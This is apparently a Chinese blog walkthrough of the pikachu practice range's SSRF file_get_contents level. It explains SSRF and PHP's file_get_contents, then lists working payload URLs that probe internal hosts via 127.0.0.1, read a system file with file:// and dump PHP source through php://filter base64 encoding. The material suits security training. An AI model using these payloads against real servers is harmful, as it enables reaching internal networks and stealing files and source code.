pikachu靶场通关笔记44 SSRF关卡02-file_get_content(三种方法渗透)

目录

一、SSRF

1、简介

2、原理

二、file_get_contents函数

1、功能

2、参数

3、返回值

4、file_get_contents与SSRF

三、渗透实战

1、基本探测

2、http协议

(1)访问upload-labs靶场

(2)访问yijuhua.txt

3、file协议

4、php://filter伪协议

(1)ssrf.php

(2)rce.php


本系列为通过《pikachu靶场通关笔记》的SSRF关卡(共2关)渗透集合,通过对SSRF关卡源码的代码审计找到SSRF安全风险的真实原因,讲解SSRF原理并进行渗透实践,本文为SSRF关卡02-file_get_contents关卡的渗透部分。

一、SSRF

1、简介

SSRF 即服务器端请求伪造,是一种常见的网络安全风险。它主要是由于服务器端在处理用户请求时,没有对目标地址进行严格的过滤和验证,导致攻击者可以构造恶意请求,让服务器以自身的身份去访问其他内部或外部资源。

2、原理

利用 SSRF安全风险,攻击者能够通过伪造请求,绕过防火墙等安全限制,对内网的服务器进行访问和攻击,获取敏感信息,如数据库内容、用户账号密码等,还可能进行端口扫描,探测内网结构和服务分布,甚至利用SSRF风险发起进一步的攻击,如攻击其他应用程序或执行命令等,给企业和用户带来严重的安全威胁,造成数据泄露、系统瘫痪等后果。因此,及时发现和修复 SSRF安全风险对于保障网络安全至关重要。

SSRF(服务器端请求伪造)攻击流程如下:

  • 攻击者向存在SSRF风险的服务器A发送恶意请求,包含指向内网主机B的地址(步骤1)。
  • 服务器A未验证请求目标,直接作为代理向主机B发起请求(步骤2)。
  • 主机B响应请求后(步骤3),服务器A将敏感数据返回给攻击者(步骤4)。

该安全风险绕过了网络隔离限制,使攻击者能够间接访问原本不可达的内网资源(如数据库、文件系统或云元数据),形成安全威胁。示意图通过颜色区分角色,箭头明确数据流向,虚线框突出安全边界突破。

二、file_get_contents函数

file_get_contents() 是 PHP 中的一个内置函数,其主要功能是把整个文件读入到一个字符串中。

复制代码
file_get_contents(string $filename, bool $use_include_path = false, ?resource $context = null, int $offset = 0, ?int $length = null): string|false

1、功能

  • file_get_contents() 函数可以读取本地文件系统中的文件内容,也能通过 HTTP、FTP 等协议读取远程文件内容。这使得它在处理本地配置文件、获取远程 API 数据等场景下非常实用。

2、参数

  • $filename:必选参数,它可以是本地文件的路径,也可以是远程文件的 URL。
  • $use_include_path:可选参数,布尔类型,默认值为 false。若设置为 true,PHP 会在 include_path 中查找文件。
  • $context:可选参数,是一个上下文资源,可用于修改 HTTP 请求头、设置超时时间等。
  • $offset:可选参数,整数类型,指定从文件的哪个位置开始读取。
  • $length:可选参数,整数类型,指定要读取的字节数。

3、返回值

  • 若读取成功,函数会返回文件内容的字符串。
  • 若读取失败,则返回 false

4、file_get_contents与SSRF

file_get_contents 函数是 PHP 中用于将整个文件读入到一个字符串中的函数,它本身是一个实用的工具,但在使用不当时可能会导致 SSRF(服务器端请求伪造)。file_get_contents 函数不仅可以读取本地文件,还支持通过 URL 读取远程文件,这就为攻击者提供了可乘之机。如果在使用该函数时,没有对用户输入的 URL 进行严格的验证和过滤,攻击者就可以构造恶意的 URL,让服务器去访问内部网络中的资源。

三、渗透实战

1、基本探测

访问pikachu靶场SSRF关卡的file_get_contents关卡,完整的URL如下所示。

复制代码
http://192.168.59.1/pikachu/vul/ssrf/ssrf_fgc.php 

点击链接"反正都读了,那就来一首吧(哈哈,错别字)",如下所示新链接中为file 后跟着个 file并以 http 协议去访问本地的 info2.php 文件,其中file为可控参数。

复制代码
http://192.168.59.1/pikachu/vul/ssrf/ssrf_fgc.php?file=http://127.0.0.1/pikachu/vul/ssrf/ssrf_info/info2.php

其中info2.php,具体文件内容如下所示,如上图所示完全展示其内容。

2、http协议

(1)访问upload-labs靶场

本次计划通过 file= http://127.0.0.1/upload-labs/ 访问同一内网的upload-labs靶场,通过SSRF安全风险来访问,URL如下所示。

复制代码
http://192.168.59.1/pikachu/vul/ssrf/ssrf_fgc.php?file=http://127.0.0.1/upload-labs/

如下所示,成功访问到同一内网中的upload-labs靶场渗透成功。

(2)访问yijuhua.txt

如下图所示,通过SSRF链接成功访问到yijuhua.txt文档。

复制代码
http://192.168.59.1/pikachu/vul/ssrf/ssrf_fgc.php?file=http://127.0.0.1/pikachu/test/yijuhua.txt

3、file协议

修改url为:url= file:///C:\Windows\win.ini,查看文件的内容。

复制代码
http://192.168.59.1/pikachu/vul/ssrf/ssrf_fgc.php?file=file:///C:\Windows\win.ini

如下图所示,通过SSRF链接成功访问到C:\Windows\win.ini文档。

4、php://filter伪协议

(1)ssrf.php

使用php://filter协议可以获取代码源码,修改url为: ? file=php://filter/read=convert.base64-encode/resource=ssrf.php,具体如下所示。

复制代码
http://192.168.59.1/pikachu/vul/ssrf/ssrf_fgc.php?file=php://filter/read=convert.base64-encode/resource=ssrf.php

base64编码后的源码复制粘贴到hackbar中,选中并选择encoding-base64 decode,如下所示。

解码后如下所示,如下内容即为真实源码。

(2)rce.php

接下来通过php://filter协议可以获取代码rce.php源码,如下所示即为base64加密后的源码。

复制代码
http://192.168.59.1/pikachu/vul/ssrf/ssrf_fgc.php?file=php://filter/read=convert.base64-encode/resource=../rce/rce.php

base64解密后的源码如下所示,渗透成功。

相关推荐
红姐跨境书3 小时前
从零打造高性能 API 网关: Go 语言中的双缓冲 Dynamic Config 最佳实践
安全
比兔代理4 小时前
正向代理与反向代理技术辨析,为什么代理 IP 属于正向代理
服务器·网络·http·ip
Ivanqhz6 小时前
SVD++算法
java·服务器·网络·深度学习·神经网络
白猫不黑7 小时前
Python实现简易Web弱口令爆破与防护方案
python·web安全·计算机·网络安全·黑客·信息安全·渗透测试
迪康Defender8 小时前
终端安全实战:如何高效解决企业U盘泄密与管控难题
运维·网络·安全·web安全·终端安全管理
网安小学生(兼顾数据库版)8 小时前
固件+软件供应链:ONEKEY+Mend如何实现全链路安全覆盖
网络·安全·web安全
学习中的码虫9 小时前
网络编程5
服务器·网络
GPU实战笔记10 小时前
本地跑不动 llama.cpp,临时租云 GPU 怎么搭?从启动服务到环境复用
java·服务器·网络·人工智能·深度学习·llama
珠海西格电力10 小时前
零碳园区管理系统“智慧大脑”功能对园区运营成本的影响有哪些?
大数据·人工智能·安全·系统架构·能源
发量惊人的中年网工10 小时前
2026年DDoS防护方案怎么选?从攻击响应、清洗位置到成本账单,解析全球高防方案
大数据·网络·安全·ddos